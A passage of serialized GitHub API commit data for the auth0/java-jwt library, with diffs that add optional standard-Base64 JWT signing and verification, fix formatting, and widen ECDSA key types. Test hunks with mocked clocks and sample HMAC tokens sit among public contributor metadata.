         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
         verification
-                .build(clock)
+                .build(mockOneSecondEarlier)
                 .verify(token);
     }
 
     @Test
     public void shouldOverrideAcceptIssuedAtWhenIgnoreIssuedAtFlagPassedAndSkipTheVerification() throws Exception {
-        Clock clock = mock(Clock.class);
-        when(clock.getToday()).thenReturn(new Date(DATE_TOKEN_MS_VALUE - 10000));
-
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE0Nzc1OTJ9.0WJky9eLN7kuxLyZlmbcXRL3Wy8hLoNCEk5CCl2M4lo";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"))
                 .acceptIssuedAt(1)
                 .ignoreIssuedAt();
         DecodedJWT jwt = verification
-                .build(clock)
+                .build(mockOneSecondEarlier)
                 .verify(token);
 
         assertThat(jwt, is(notNullValue()));
     }
 
     @Test
     public void shouldValidateIssuedAtIfPresent() throws Exception {
-        Clock clock = mock(Clock.class);
-        when(clock.getToday()).thenReturn(new Date(DATE_TOKEN_MS_VALUE));
-
         String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE0Nzc1OTJ9.0WJky9eLN7kuxLyZlmbcXRL3Wy8hLoNCEk5CCl2M4lo";
         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
         DecodedJWT jwt = verification
-                .build(clock)
+                .build(mockNow)
                 .verify(token);
 
         assertThat(jwt, is(notNullValue()));ueuM     (a6b8a488cd0ec53ff0fe495014e7dcdf81b2ad7d}(sha(a6b8a488cd0ec53ff0fe495014e7dcdf81b2ad7dnode_idEC_kwDOAQtL0doAKGE2YjhhNDg4Y2QwZWM1M2ZmMGZlNDk1MDE0ZTdkY2RmODFiMmFkN2Qcommit}(author}(namegoofwoofemailheli0086@outlook.comdate2022-10-20T02:44:50Zu	committer}(j  li.hej  li.he@thoughtworks.comj  2022-10-20T03:05:12Zumessage/Compatible with the original base64 encoded jwttree}(j  (b41bf2dd94f221da879d6324cc291c1825248ac3url^https://api.github.com/repos/auth0/java-jwt/git/trees/b41bf2dd94f221da879d6324cc291c1825248ac3uj   `https://api.github.com/repos/auth0/java-jwt/git/commits/a6b8a488cd0ec53ff0fe495014e7dcdf81b2ad7d
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj   \https://api.github.com/repos/auth0/java-jwt/commits/a6b8a488cd0ec53ff0fe495014e7dcdf81b2ad7dhtml_urlQhttps://github.com/auth0/java-jwt/commit/a6b8a488cd0ec53ff0fe495014e7dcdf81b2ad7dcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/a6b8a488cd0ec53ff0fe495014e7dcdf81b2ad7d/commentsj  }(logingoofwoofidJogj
  MDQ6VXNlcjQwMzMzMjM0
avatar_url4https://avatars.githubusercontent.com/u/40333234?v=4gravatar_idh3j   %https://api.github.com/users/goofwoofj,  https://github.com/goofwoof
followers_url/https://api.github.com/users/goofwoof/followers
following_url<https://api.github.com/users/goofwoof/following{/other_user}	gists_url5https://api.github.com/users/goofwoof/gists{/gist_id}starred_url<https://api.github.com/users/goofwoof/starred{/owner}{/repo}subscriptions_url3https://api.github.com/users/goofwoof/subscriptionsorganizations_url*https://api.github.com/users/goofwoof/orgs	repos_url+https://api.github.com/users/goofwoof/repos
events_url6https://api.github.com/users/goofwoof/events{/privacy}received_events_url5https://api.github.com/users/goofwoof/received_eventstypeUser
site_adminuj  }(j1  heli-twj3  JPj
  U_kgDOBcxQpAj5  4https://avatars.githubusercontent.com/u/97276068?v=4j7  h3j   $https://api.github.com/users/heli-twj,  https://github.com/heli-twj:  .https://api.github.com/users/heli-tw/followersj<  ;https://api.github.com/users/heli-tw/following{/other_user}j>  4https://api.github.com/users/heli-tw/gists{/gist_id}j@  ;https://api.github.com/users/heli-tw/starred{/owner}{/repo}jB  2https://api.github.com/users/heli-tw/subscriptionsjD  )https://api.github.com/users/heli-tw/orgsjF  *https://api.github.com/users/heli-tw/reposjH  5https://api.github.com/users/heli-tw/events{/privacy}jJ  4https://api.github.com/users/heli-tw/received_eventsjL  UserjN  uparents]}(j  (3935d1a66c1aa5a64a7e83d547bddaabef08b37aj   \https://api.github.com/repos/auth0/java-jwt/commits/3935d1a66c1aa5a64a7e83d547bddaabef08b37aj,  Qhttps://github.com/auth0/java-jwt/commit/3935d1a66c1aa5a64a7e83d547bddaabef08b37auastats}(totalKA	additionsK3	deletionsKufiles](}(j  (260a8b07f14cc05abec57d4d1cda17ea043f18c7filename/lib/src/main/java/com/auth0/jwt/JWTCreator.javastatusmodifiedjh  Kji  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/a6b8a488cd0ec53ff0fe495014e7dcdf81b2ad7d/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaraw_urlhttps://github.com/auth0/java-jwt/raw/a6b8a488cd0ec53ff0fe495014e7dcdf81b2ad7d/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=a6b8a488cd0ec53ff0fe495014e7dcdf81b2ad7dpatchX  @@ -454,11 +454,26 @@ private static boolean isBasicType(Object value) {
          * Creates a new JWT and signs is with the given algorithm
          *
          * @param algorithm used to sign the JWT
-         * @return a new JWT token
+         * @return a new JWT token with urlEncoded default
          * @throws IllegalArgumentException if the provided algorithm is null.
          * @throws JWTCreationException     if the claims could not be converted to a valid JSON or there was a problem with the signing key.
          */
         public String sign(Algorithm algorithm) throws IllegalArgumentException, JWTCreationException {
+            return sign(algorithm, true);
+        }
+
+        /**
+         * Creates a new JWT and signs is with the given algorithm.
+         *
+         * @param algorithm used to sign the JWT
+         * @param urlEncoder used urlEncoder to encode the JWT
+         *
+         * @return a new JWT token
+         * @throws IllegalArgumentException if the provided algorithm is null.
+         * @throws JWTCreationException     if the claims could not be converted to a valid JSON or there was a
+         * problem with the signing key.
+         */
+        public String sign(Algorithm algorithm, boolean urlEncoder) throws IllegalArgumentException, JWTCreationException {
             if (algorithm == null) {
                 throw new IllegalArgumentException("The Algorithm cannot be null.");
             }
@@ -470,7 +485,7 @@ public String sign(Algorithm algorithm) throws IllegalArgumentException, JWTCrea
             if (signingKeyId != null) {
                 withKeyId(signingKeyId);
             }
-            return new JWTCreator(algorithm, headerClaims, payloadClaims).sign();
+            return new JWTCreator(algorithm, headerClaims, payloadClaims).sign(urlEncoder);
         }
 
         private void assertNonNull(String name) {
@@ -488,9 +503,11 @@ private void addClaim(String name, Object value) {
         }
     }
 
-    private String sign() throws SignatureGenerationException {
-        String header = Base64.getUrlEncoder().withoutPadding().encodeToString(headerJson.getBytes(StandardCharsets.UTF_8));
-        String payload = Base64.getUrlEncoder().withoutPadding().encodeToString(payloadJson.getBytes(StandardCharsets.UTF_8));
+    private String sign(boolean urlEncoder) throws SignatureGenerationException {
+        Base64.Encoder encoder = urlEncoder ? Base64.getUrlEncoder() : Base64.getEncoder();
+
+        String header = encoder.withoutPadding().encodeToString(headerJson.getBytes(StandardCharsets.UTF_8));
+        String payload = encoder.withoutPadding().encodeToString(payloadJson.getBytes(StandardCharsets.UTF_8));
 
         byte[] signatureBytes = algorithm.sign(header.getBytes(StandardCharsets.UTF_8), payload.getBytes(StandardCharsets.UTF_8));
         String signature = Base64.getUrlEncoder().withoutPadding().encodeToString((signatureBytes));u}(j  (d26253bf9691e28f5ab1beb951504c772c4bccd0jn  9lib/src/main/java/com/auth0/jwt/algorithms/Algorithm.javajp  modifiedjh  Kji  Kjr  Kjs  https://github.com/auth0/java-jwt/blob/a6b8a488cd0ec53ff0fe495014e7dcdf81b2ad7d/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javaju  https://github.com/auth0/java-jwt/raw/a6b8a488cd0ec53ff0fe495014e7dcdf81b2ad7d/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javajw  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.java?ref=a6b8a488cd0ec53ff0fe495014e7dcdf81b2ad7djy  X  @@ -354,13 +354,26 @@ public String toString() {
         return description;
     }
 
+    /**
+     * Verify the given token using this Algorithm instance.
+     *
+     * @param jwt the already decoded JWT (urlEncoded) that it's going to be verified.
+     * @throws SignatureVerificationException if the Token's Signature is invalid,
+     *                                        meaning that it doesn't match the signatureBytes,
+     *                                        or if the Key is invalid.
+     */
+    public void verify(DecodedJWT jwt) throws SignatureVerificationException {
+        verify(jwt, true);
+    }
+
     /**
      * Verify the given token using this Algorithm instance.
      *
      * @param jwt the already decoded JWT that it's going to be verified.
+     * @param isUrlEncoded dose the JWT encoded with urlEncoder
      * @throws SignatureVerificationException if the Token's Signature is invalid, meaning that it doesn't match the signatureBytes, or if the Key is invalid.
      */
-    public abstract void verify(DecodedJWT jwt) throws SignatureVerificationException;
+    public abstract void verify(DecodedJWT jwt, boolean isUrlEncoded) throws SignatureVerificationException;
 
     /**
      * Sign the given content using this Algorithm instance.u}(j  (e729b571e1d46264251542a13010c05f2079fb39jn  >lib/src/main/java/com/auth0/jwt/algorithms/ECDSAAlgorithm.javajp  modifiedjh  Kji  Kjr  Kjs  https://github.com/auth0/java-jwt/blob/a6b8a488cd0ec53ff0fe495014e7dcdf81b2ad7d/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javaju  https://github.com/auth0/java-jwt/raw/a6b8a488cd0ec53ff0fe495014e7dcdf81b2ad7d/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javajw  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.java?ref=a6b8a488cd0ec53ff0fe495014e7dcdf81b2ad7djy  X  @@ -40,9 +40,11 @@ class ECDSAAlgorithm extends Algorithm {
     }
 
     @Override
-    public void verify(DecodedJWT jwt) throws SignatureVerificationException {
+    public void verify(DecodedJWT jwt, boolean isUrlEncoded) throws SignatureVerificationException {
         try {
-            byte[] signatureBytes = Base64.getUrlDecoder().decode(jwt.getSignature());
+            Base64.Decoder decoder = isUrlEncoded ? Base64.getUrlDecoder() : Base64.getDecoder();
+
+            byte[] signatureBytes = decoder.decode(jwt.getSignature());
             ECPublicKey publicKey = keyProvider.getPublicKeyById(jwt.getKeyId());
             if (publicKey == null) {
                 throw new IllegalStateException("The given Public Key is null.");u}(j  (a426770527be0b9d4335d32fa9580247d0bfa48ajn  =lib/src/main/java/com/auth0/jwt/algorithms/HMACAlgorithm.javajp  modifiedjh  Kji  Kjr  Kjs  https://github.com/auth0/java-jwt/blob/a6b8a488cd0ec53ff0fe495014e7dcdf81b2ad7d/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.javaju  https://github.com/auth0/java-jwt/raw/a6b8a488cd0ec53ff0fe495014e7dcdf81b2ad7d/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.javajw  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FHMACAlgorithm.java?ref=a6b8a488cd0ec53ff0fe495014e7dcdf81b2ad7djy  X"  @@ -46,9 +46,10 @@ static byte[] getSecretBytes(String secret) throws IllegalArgumentException {
     }
 
     @Override
-    public void verify(DecodedJWT jwt) throws SignatureVerificationException {
+    public void verify(DecodedJWT jwt, boolean isUrlEncoded) throws SignatureVerificationException {
         try {
-            byte[] signatureBytes = Base64.getUrlDecoder().decode(jwt.getSignature());
+            Base64.Decoder decoder = isUrlEncoded ? Base64.getUrlDecoder() : Base64.getDecoder();
+            byte[] signatureBytes = decoder.decode(jwt.getSignature());
             boolean valid = crypto.verifySignatureFor(getDescription(), secret, jwt.getHeader(), jwt.getPayload(), signatureBytes);
             if (!valid) {
                 throw new SignatureVerificationException(this);u}(j  (ac59e38c73976f6e05ae0b9c77d8ff0339efb4bbjn  =lib/src/main/java/com/auth0/jwt/algorithms/NoneAlgorithm.javajp  modifiedjh  Kji  Kjr  Kjs  https://github.com/auth0/java-jwt/blob/a6b8a488cd0ec53ff0fe495014e7dcdf81b2ad7d/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithm.javaju  https://github.com/auth0/java-jwt/raw/a6b8a488cd0ec53ff0fe495014e7dcdf81b2ad7d/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithm.javajw  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FNoneAlgorithm.java?ref=a6b8a488cd0ec53ff0fe495014e7dcdf81b2ad7djy  X  @@ -13,9 +13,11 @@ class NoneAlgorithm extends Algorithm {
     }
 
     @Override
-    public void verify(DecodedJWT jwt) throws SignatureVerificationException {
+    public void verify(DecodedJWT jwt, boolean isUrlEncoded) throws SignatureVerificationException {
         try {
-            byte[] signatureBytes = Base64.getUrlDecoder().decode(jwt.getSignature());
+            Base64.Decoder decoder = isUrlEncoded ? Base64.getUrlDecoder() : Base64.getDecoder();
+
+            byte[] signatureBytes = decoder.decode(jwt.getSignature());
 
             if (signatureBytes.length > 0) {
                 throw new SignatureVerificationException(this);u}(j  (8e547de7c4d2084cd682bfaff15b02753d2b540bjn  <lib/src/main/java/com/auth0/jwt/algorithms/RSAAlgorithm.javajp  modifiedjh  Kji  Kjr  Kjs  https://github.com/auth0/java-jwt/blob/a6b8a488cd0ec53ff0fe495014e7dcdf81b2ad7d/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.javaju  https://github.com/auth0/java-jwt/raw/a6b8a488cd0ec53ff0fe495014e7dcdf81b2ad7d/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.javajw  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FRSAAlgorithm.java?ref=a6b8a488cd0ec53ff0fe495014e7dcdf81b2ad7djy  X  @@ -36,9 +36,11 @@ class RSAAlgorithm extends Algorithm {
     }
 
     @Override
-    public void verify(DecodedJWT jwt) throws SignatureVerificationException {
+    public void verify(DecodedJWT jwt, boolean isUrlEncoded) throws SignatureVerificationException {
         try {
-            byte[] signatureBytes = Base64.getUrlDecoder().decode(jwt.getSignature());
+            Base64.Decoder decoder = isUrlEncoded ? Base64.getUrlDecoder() : Base64.getDecoder();
+
+            byte[] signatureBytes = decoder.decode(jwt.getSignature());
             RSAPublicKey publicKey = keyProvider.getPublicKeyById(jwt.getKeyId());
             if (publicKey == null) {
                 throw new IllegalStateException("The given Public Key is null.");ueu(86b25b1f778ab3fb6313b55845dbceb4cca40f41}(sha(86b25b1f778ab3fb6313b55845dbceb4cca40f41node_idEC_kwDOAQtL0doAKDg2YjI1YjFmNzc4YWIzZmI2MzEzYjU1ODQ1ZGJjZWI0Y2NhNDBmNDEcommit}(author}(nameJames Andersonemailjim.anderson@auth0.comdate2022-03-04T22:37:51Zu	committer}(j  James Andersonj  jim.anderson@auth0.comj  2022-03-04T22:37:51Zumessageformatting fixestree}(j  (583ed4d0f42ae94aeb74b2fb2aabd21e3e2e1e89url^https://api.github.com/repos/auth0/java-jwt/git/trees/583ed4d0f42ae94aeb74b2fb2aabd21e3e2e1e89uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/86b25b1f778ab3fb6313b55845dbceb4cca40f41
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/86b25b1f778ab3fb6313b55845dbceb4cca40f41html_urlQhttps://github.com/auth0/java-jwt/commit/86b25b1f778ab3fb6313b55845dbceb4cca40f41comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/86b25b1f778ab3fb6313b55845dbceb4cca40f41/commentsj  }(login
jimmyjamesidJ7 j  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj  }(j  
jimmyjamesj  J7 j  MDQ6VXNlcjI3NjIyNQ==j  2https://avatars.githubusercontent.com/u/276225?v=4j  h3j  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjamesj  1https://api.github.com/users/jimmyjames/followersj  >https://api.github.com/users/jimmyjames/following{/other_user}j  7https://api.github.com/users/jimmyjames/gists{/gist_id}j  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}j  5https://api.github.com/users/jimmyjames/subscriptionsj  ,https://api.github.com/users/jimmyjames/orgsj  -https://api.github.com/users/jimmyjames/reposj  8https://api.github.com/users/jimmyjames/events{/privacy}j  7https://api.github.com/users/jimmyjames/received_eventsj  Userj  uparents]}(j  (5f7e8fa72882037a2b2ff0cca2af879e35039979j  \https://api.github.com/repos/auth0/java-jwt/commits/5f7e8fa72882037a2b2ff0cca2af879e35039979j  Qhttps://github.com/auth0/java-jwt/commit/5f7e8fa72882037a2b2ff0cca2af879e35039979uastats}(totalK	additionsK	deletionsKufiles](}(j  (cc5256f4dd342766e47ab1a1e555e4d984c92461filename5lib/src/main/java/com/auth0/jwt/interfaces/Claim.javastatusmodifiedj  Kj  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/86b25b1f778ab3fb6313b55845dbceb4cca40f41/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.javaraw_urlhttps://github.com/auth0/java-jwt/raw/86b25b1f778ab3fb6313b55845dbceb4cca40f41/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.java?ref=86b25b1f778ab3fb6313b55845dbceb4cca40f41patch@@ -75,7 +75,7 @@ public interface Claim {
      */
     default Instant asInstant() {
         Date date = asDate();
-        return date != null? date.toInstant() : null;
+        return date != null ? date.toInstant() : null;
     }
 
     /**u}(j  (b3bf71f5cc956047b5bd6626971dcc7236e92d31j  7lib/src/main/java/com/auth0/jwt/interfaces/Payload.javaj
  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/86b25b1f778ab3fb6313b55845dbceb4cca40f41/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FPayload.javaj  https://github.com/auth0/java-jwt/raw/86b25b1f778ab3fb6313b55845dbceb4cca40f41/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FPayload.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FPayload.java?ref=86b25b1f778ab3fb6313b55845dbceb4cca40f41j  X  @@ -44,7 +44,7 @@ public interface Payload {
      * @return the Expiration Time value or null.
      */
     default Instant getExpiresAtAsInstant() {
-        return getExpiresAt() != null ? getExpiresAt().toInstant() : null ;
+        return getExpiresAt() != null ? getExpiresAt().toInstant() : null;
     }
 
     /**
@@ -76,7 +76,7 @@ default Instant getNotBeforeAsInstant() {
      * @return the Issued At value or null.
      */
     default Instant getIssuedAtAsInstant() {
-        return getIssuedAt() != null? getIssuedAt().toInstant() : null;
+        return getIssuedAt() != null ? getIssuedAt().toInstant() : null;
     }
 
     /**ueu(ae70f4fffae10e6f13efce8d5d9399494e312746}(sha(ae70f4fffae10e6f13efce8d5d9399494e312746node_idPMDY6Q29tbWl0MTc1MTc1MjE6YWU3MGY0ZmZmYWUxMGU2ZjEzZWZjZThkNWQ5Mzk5NDk0ZTMxMjc0Ng==commit}(author}(nameNikolay Elenkovemailnikolay.elenkov@gmail.comdate2021-08-30T10:40:31Zu	committer}(j*  Nikolay Elenkovj,  nikolay.elenkov@gmail.comj.  2021-08-30T10:48:40Zumessage|use PrivateKey instead of ECPrivateKey to allow using keys that don't expose raw key material (Android Keystore, HSMs, etc.)tree}(j"  (97f48380d4db55bd5b3f1447b52407b933fedd57url^https://api.github.com/repos/auth0/java-jwt/git/trees/97f48380d4db55bd5b3f1447b52407b933fedd57uj:  `https://api.github.com/repos/auth0/java-jwt/git/commits/ae70f4fffae10e6f13efce8d5d9399494e312746
comment_countK verification}(verifiedreasonvalid	signature-----BEGIN PGP SIGNATURE-----

iHUEABYKAB0WIQQ3FEHo7zMaBs8mrcoqW/ixO9I0DwUCYSy3iAAKCRAqW/ixO9I0
DzDeAQD4NyNiKbPbkwaJH59aXxQB+KbsZpOte2nxUyIajIYcVgD8CT2RrilsvV2Q
SgUkHTyMAq0PUzs2xpH4MrYahSDd4A8=
=Km5p
-----END PGP SIGNATURE-----payloadXg  tree 97f48380d4db55bd5b3f1447b52407b933fedd57
parent 364bf598ac1da6305b95633e4d3e38933585e7b0
author Nikolay Elenkov <nikolay.elenkov@gmail.com> 1630320031 +0900
committer Nikolay Elenkov <nikolay.elenkov@gmail.com> 1630320520 +0900

use PrivateKey instead of ECPrivateKey to allow using keys that don't expose raw key material (Android Keystore, HSMs, etc.)
uuj:  \https://api.github.com/repos/auth0/java-jwt/commits/ae70f4fffae10e6f13efce8d5d9399494e312746html_urlQhttps://github.com/auth0/java-jwt/commit/ae70f4fffae10e6f13efce8d5d9399494e312746comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/ae70f4fffae10e6f13efce8d5d9399494e312746/commentsj(  }(loginnelenkovidJ j$  MDQ6VXNlcjEwNTMwNzg=
avatar_url3https://avatars.githubusercontent.com/u/1053078?v=4gravatar_idh3j:  %https://api.github.com/users/nelenkovjH  https://github.com/nelenkov
followers_url/https://api.github.com/users/nelenkov/followers
following_url<https://api.github.com/users/nelenkov/following{/other_user}	gists_url5https://api.github.com/users/nelenkov/gists{/gist_id}starred_url<https://api.github.com/users/nelenkov/starred{/owner}{/repo}subscriptions_url3https://api.github.com/users/nelenkov/subscriptionsorganizations_url*https://api.github.com/users/nelenkov/orgs	repos_url+https://api.github.com/users/nelenkov/repos
events_url6https://api.github.com/users/nelenkov/events{/privacy}received_events_url5https://api.github.com/users/nelenkov/received_eventstypeUser
site_adminuj0  }(jM  nelenkovjO  J j$  MDQ6VXNlcjEwNTMwNzg=jQ  3https://avatars.githubusercontent.com/u/1053078?v=4jS  h3j:  %https://api.github.com/users/nelenkovjH  https://github.com/nelenkovjV  /https://api.github.com/users/nelenkov/followersjX  <https://api.github.com/users/nelenkov/following{/other_user}jZ  5https://api.github.com/users/nelenkov/gists{/gist_id}j\  <https://api.github.com/users/nelenkov/starred{/owner}{/repo}j^  3https://api.github.com/users/nelenkov/subscriptionsj`  *https://api.github.com/users/nelenkov/orgsjb  +https://api.github.com/users/nelenkov/reposjd  6https://api.github.com/users/nelenkov/events{/privacy}jf  5https://api.github.com/users/nelenkov/received_eventsjh  Userjj  uparents]}(j"  (364bf598ac1da6305b95633e4d3e38933585e7b0j:  \https://api.github.com/repos/auth0/java-jwt/commits/364bf598ac1da6305b95633e4d3e38933585e7b0jH  Qhttps://github.com/auth0/java-jwt/commit/364bf598ac1da6305b95633e4d3e38933585e7b0uastats}(totalK.	additionsK	deletionsKufiles](}(j"  (b6c3bdf7bb907bc09b49f70ac7d39b1ae7d75198filename9lib/src/main/java/com/auth0/jwt/algorithms/Algorithm.javastatusmodifiedj  Kj  K
changesKblob_urlhttps://github.com/auth0/java-jwt/blob/ae70f4fffae10e6f13efce8d5d9399494e312746/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javaraw_urlhttps://github.com/auth0/java-jwt/raw/ae70f4fffae10e6f13efce8d5d9399494e312746/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.java?ref=ae70f4fffae10e6f13efce8d5d9399494e312746patchX  @@ -6,6 +6,8 @@
 import com.auth0.jwt.interfaces.ECDSAKeyProvider;
 import com.auth0.jwt.interfaces.RSAKeyProvider;
 
+import java.security.PrivateKey;
+import java.security.PublicKey;
 import java.security.interfaces.*;
 
 /**
@@ -196,7 +198,7 @@ public static Algorithm ECDSA256K(ECDSAKeyProvider keyProvider) throws IllegalAr
      * @return a valid ECDSA256 Algorithm.
      * @throws IllegalArgumentException if the provided Key is null.
      */
-    public static Algorithm ECDSA256K(ECPublicKey publicKey, ECPrivateKey privateKey) throws IllegalArgumentException {
+    public static Algorithm ECDSA256K(PublicKey publicKey, PrivateKey privateKey) throws IllegalArgumentException {
         return ECDSA256K(ECDSAAlgorithm.providerForKeys(publicKey, privateKey));
     }
 
@@ -243,7 +245,7 @@ public static Algorithm ECDSA256(ECDSAKeyProvider keyProvider) throws IllegalArg
      * @return a valid ECDSA256 Algorithm.
      * @throws IllegalArgumentException if the provided Key is null.
      */
-    public static Algorithm ECDSA256(ECPublicKey publicKey, ECPrivateKey privateKey) throws IllegalArgumentException {
+    public static Algorithm ECDSA256(PublicKey publicKey, PrivateKey privateKey) throws IllegalArgumentException {
         return ECDSA256(ECDSAAlgorithm.providerForKeys(publicKey, privateKey));
     }
 
@@ -257,8 +259,8 @@ public static Algorithm ECDSA256(ECPublicKey publicKey, ECPrivateKey privateKey)
      */
     @Deprecated
     public static Algorithm ECDSA256(ECKey key) throws IllegalArgumentException {
-        ECPublicKey publicKey = key instanceof ECPublicKey ? (ECPublicKey) key : null;
-        ECPrivateKey privateKey = key instanceof ECPrivateKey ? (ECPrivateKey) key : null;
+        PublicKey publicKey = key instanceof PublicKey ? (PublicKey) key : null;
+        PrivateKey privateKey = key instanceof PrivateKey ? (PrivateKey) key : null;
         return ECDSA256(publicKey, privateKey);
     }
 
@@ -281,7 +283,7 @@ public static Algorithm ECDSA384(ECDSAKeyProvider keyProvider) throws IllegalArg
      * @return a valid ECDSA384 Algorithm.
      * @throws IllegalArgumentException if the provided Key is null.
      */
-    public static Algorithm ECDSA384(ECPublicKey publicKey, ECPrivateKey privateKey) throws IllegalArgumentException {
+    public static Algorithm ECDSA384(PublicKey publicKey, PrivateKey privateKey) throws IllegalArgumentException {
         return ECDSA384(ECDSAAlgorithm.providerForKeys(publicKey, privateKey));
     }
 
@@ -295,8 +297,8 @@ public static Algorithm ECDSA384(ECPublicKey publicKey, ECPrivateKey privateKey)
      */
     @Deprecated
     public static Algorithm ECDSA384(ECKey key) throws IllegalArgumentException {
-        ECPublicKey publicKey = key instanceof ECPublicKey ? (ECPublicKey) key : null;
-        ECPrivateKey privateKey = key instanceof ECPrivateKey ? (ECPrivateKey) key : null;
+        PublicKey publicKey = key instanceof PublicKey ? (PublicKey) key : null;
+        PrivateKey privateKey = key instanceof PrivateKey ? (PrivateKey) key : null;
         return ECDSA384(publicKey, privateKey);
     }
 
@@ -319,7 +321,7 @@ public static Algorithm ECDSA512(ECDSAKeyProvider keyProvider) throws IllegalArg
      * @return a valid ECDSA512 Algorithm.
      * @throws IllegalArgumentException if the provided Key is null.
      */
-    public static Algorithm ECDSA512(ECPublicKey publicKey, ECPrivateKey privateKey) throws IllegalArgumentException {
+    public static Algorithm ECDSA512(PublicKey publicKey, PrivateKey privateKey) throws IllegalArgumentException {
         return ECDSA512(ECDSAAlgorithm.providerForKeys(publicKey, privateKey));
     }
 
@@ -333,8 +335,8 @@ public static Algorithm ECDSA512(ECPublicKey publicKey, ECPrivateKey privateKey)
      */
     @Deprecated
     public static Algorithm ECDSA512(ECKey key) throws IllegalArgumentException {
-        ECPublicKey publicKey = key instanceof ECPublicKey ? (ECPublicKey) key : null;
-        ECPrivateKey privateKey = key instanceof ECPrivateKey ? (ECPrivateKey) key : null;
+        PublicKey publicKey = key instanceof PublicKey ? (PublicKey) key : null;
+        PrivateKey privateKey = key instanceof PrivateKey ? (PrivateKey) key : null;
         return ECDSA512(publicKey, privateKey);
     }
